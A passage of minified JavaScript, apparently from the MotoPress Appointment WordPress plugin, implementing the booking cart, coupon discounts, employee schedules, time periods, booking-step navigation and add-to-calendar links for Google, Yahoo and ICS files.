this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class R{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class O extends R{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends R{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends R{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends R{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=z(this.startTime,s),a=z(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==a?i:i+t+a}}class K extends R{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends R{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new O(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:\"entities\"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=H(t);break;case\"integer\":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${o}\u002F${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=i;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=s.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the 